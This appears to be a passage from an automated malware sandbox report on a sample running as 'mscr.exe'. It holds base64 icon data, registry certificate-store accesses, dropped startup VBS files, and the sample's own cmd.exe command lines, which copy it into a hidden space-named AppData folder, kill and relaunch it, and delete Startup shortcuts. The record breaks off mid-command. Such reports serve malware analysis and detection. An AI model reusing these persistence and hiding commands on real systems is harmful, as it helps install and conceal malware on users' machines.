wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==7d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==7e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==7f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==80:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==81:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==82:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==83:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==84:T771,"mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")85:T6df,"mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "mscr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mscr.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")86:T66f,"mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\3MRYK.jpg" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup2788310.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup3197659.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup7597624.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup9321933.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup3330015.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup196366.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup2879488.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup8192529.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup7944398.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup1295000.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup3019309.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup7419274.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup7171143.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup1581107.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup1990457.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup2144209.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup6544173.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup5382966.vbs" "mscr.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\startup276877.vbs"87:T20cc,"/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" on 2017-10-16.19:10:36.589 "/k @echo.&mkdir "%APPDATA%\Adobe\3MRYK\ \"&echo.>>"%APPDATA%\Adobe\3MRYK\update :)"&echo.>>"%APPDATA%\Adobe\3MRYK\ \update :)"&taskkill /f /im mscr.exe© "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&timeout /t 1 /nobreak>nul&del "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe"&start "" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&exit&" on 2017-10-16.19:10:36.589 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:12:49.668 "/k @echo.&del 